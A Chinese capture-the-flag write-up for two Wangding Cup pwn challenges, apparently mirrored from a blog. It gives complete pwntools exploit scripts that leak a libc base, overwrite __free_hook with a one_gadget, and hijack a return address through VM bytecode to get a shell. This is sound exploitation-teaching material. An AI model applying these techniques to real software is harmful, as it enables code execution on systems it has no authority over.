zoukankan      html  css  js  c++  java
  • 网鼎杯

    BOOM1

    题目附件

    看了大佬博客后,这题我还是没怎么整明白。

    看到这么一串东西那这个大概是手动实现了一个简易的C语言编译器。经过多次尝试发现程序没有什么限制。所以我们直接写程序开始利用。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    p = process('./pwn')
    
    payload = '''
    int main()
    {
        int a;
        printf("%p
    ", &a);
    }
    '''
    
    p.sendafter("living...", payload)
    
    
    
    
    p.interactive()

    这部分代码可以泄漏变量a的地址,由于a是存放在mmap分配的内存中,所以与libc基址的偏移是固定的,这样可以算出libc基址。(对于具体是那个版本的libc,采用这个方法只能逐个尝试)

    拿到libc基址后可以直接得出__free_hook地址,接着向__free_hook中写入one_gadget即可。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    context.log_level = 'debug'
    p = process('./pwn')
    
    payload = """
    main()
    {
        int b;
        int libc_base;
        int *free_hook;
        libc_base = (int)&b - 0x51efd8;
        free_hook = libc_base + 0x3c67a8;
        *free_hook = libc_base + 0x4527a;
        free(1);
    }
    """
    
    a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    print(payload)
    gdb.attach(p)
    p.sendafter('living...
    ', payload)
    
    
    
    
    
    
    p.interactive()

    参考博客

    Boom2

    题目附件

    这是一道vm题目。程序一开始分配栈空间和代码码空间,如下:

    之后就是一些加减之类的运算,就不分析了。

    exp如下(此脚本是在ubuntu18.04上测试的):

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./pwn')
    
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    payload  = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中
    payload += p64(11) #向+3处写入0x2d72e
    payload += p64(1) + p64(0xe8) #向v38中写入0xf0
    payload += p64(26) #计算出main函数$rbp+0x8的栈地址
    payload += p64(13) #向+1出写入$rbp+0x8
    payload += p64(9) #取出原return addr
    payload += p64(13) #向+0处写入return addr
    payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中
    payload += p64(25) #计算one_gadget
    payload += p64(11) #向$rbp+0x8处写入one_gadget
    
    payload += p64(30)
    p.sendlineafter('Input your code> ', payload)
    
    
    p.interactive()
  • 相关阅读:
    Nokia Lumia 800销售反馈 苹果iPhone、三星Galaxy不敌800设计
    各大网站用户数据库被爆,遭大量网友下载
    最美发明家:GPS、手机通讯网都源自她的发明
    iPhone5或明年下半年发布 配备iOS6和A6芯片
    保存文件到手机内存
    2012年十大科技趋势:NFC、语音控制与弯曲屏
    电脑报独家报道:宽带升级全国真相调查
    Android的电话拨号器
    Java程序员成长之路(接口与抽象类究竟有什么区别)
    联系人相关
  • 原文地址:https://www.cnblogs.com/countfatcode/p/13635935.html
Copyright © 2011-2022 走看看